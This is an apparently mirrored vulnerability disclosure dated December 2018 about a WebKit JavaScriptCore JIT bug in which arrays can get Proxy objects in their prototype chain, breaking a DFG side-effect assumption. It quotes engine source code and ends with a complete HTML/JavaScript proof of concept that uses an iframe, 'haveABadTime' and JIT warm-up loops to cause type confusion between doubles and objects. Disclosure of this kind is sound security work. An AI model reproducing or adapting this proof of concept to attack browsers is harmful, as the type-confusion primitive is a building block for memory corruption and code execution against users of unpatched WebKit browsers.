WebKit JIT - Int32/Double Arrays can have Proxy Objects in the Prototype Chains

2018-12-13 17:05:03

<!--
Bug:
void JSObject::setPrototypeDirect(VM& vm, JSValue prototype)
{
ASSERT(prototype);
if (prototype.isObject())
prototype.asCell()->didBecomePrototype();

if (structure(vm)->hasMonoProto()) {
DeferredStructureTransitionWatchpointFire deferred(vm, structure(vm));
Structure* newStructure = Structure::changePrototypeTransition(vm, structure(vm), prototype, deferred);
setStructure(vm, newStructure);
} else
putDirect(vm, knownPolyProtoOffset, prototype);

if (!anyObjectInChainMayInterceptIndexedAccesses(vm))
return;

if (mayBePrototype()) {
structure(vm)->globalObject()->haveABadTime(vm);
return;
}

if (!hasIndexedProperties(indexingType()))
return;

if (shouldUseSlowPut(indexingType()))
return;

switchToSlowPutArrayStorage(vm);
}

JavaScriptCore doesn't allow native arrays to have Proxy objects as prototypes. If we try to set the prototype of an array to a Proxy object, it will end up calling either switchToSlowPutArrayStorage or haveABadTime in the above method. switchToSlowPutArrayStorage will transition the array to a SlowPutArrayStorage array. And haveABadTime will call switchToSlowPutArrayStorage on every object in the VM on a first call. Since subsequent calls to haveABadTime won't have any effect, with two global objects we can create an array having a Proxy object in the prototype chain.

Exploit:
case HasIndexedProperty: {
ArrayMode mode = node->arrayMode();

switch (mode.type()) {
case Array::Int32:
case Array::Double:
case Array::Contiguous:
case Array::ArrayStorage: {
break;
}
default: {
clobberWorld();
break;
}
}
setNonCellTypeForNode(node, SpecBoolean);
break;
}

From: https://github.com/WebKit/webkit/blob/9ca43a5d4bd8ff63ee7293cac8748d564bd7fbbd/Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h#L3481

The above routine is based on the assumption that if the input array is a native array, it can't intercept indexed accesses therefore it will have no side effects. But actually we can create such arrays which break that assumption making it exploitable.

PoC:
-->

<body>
<script>

function opt(arr, arr2) {
arr[1] = 1.1;

let tmp = 0 in arr2;

arr[0] = 2.3023e-320;

return tmp;
}

function main() {
let o = document.body.appendChild(document.createElement('iframe')).contentWindow;

// haveABadTime
o.eval(`
let p = new Proxy({}, {});
let a = {__proto__: {}};
a.__proto__.__proto__ = p;
`);

let arr = [1.1, 2.2];
let arr2 = [1.1, 2.2];

let proto = new o.Object();
let handler = {};

arr2.__proto__ = proto;
proto.__proto__ = new Proxy({}, {
has() {
arr[0] = {};

return true;
}
});

for (let i = 0; i < 10000; i++) {
opt(arr, arr2);
}

setTimeout(() => {
delete arr2[0];

opt(arr, arr2);

alert(arr[0]);
}, 500);
}

main();

</script>
</body>

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.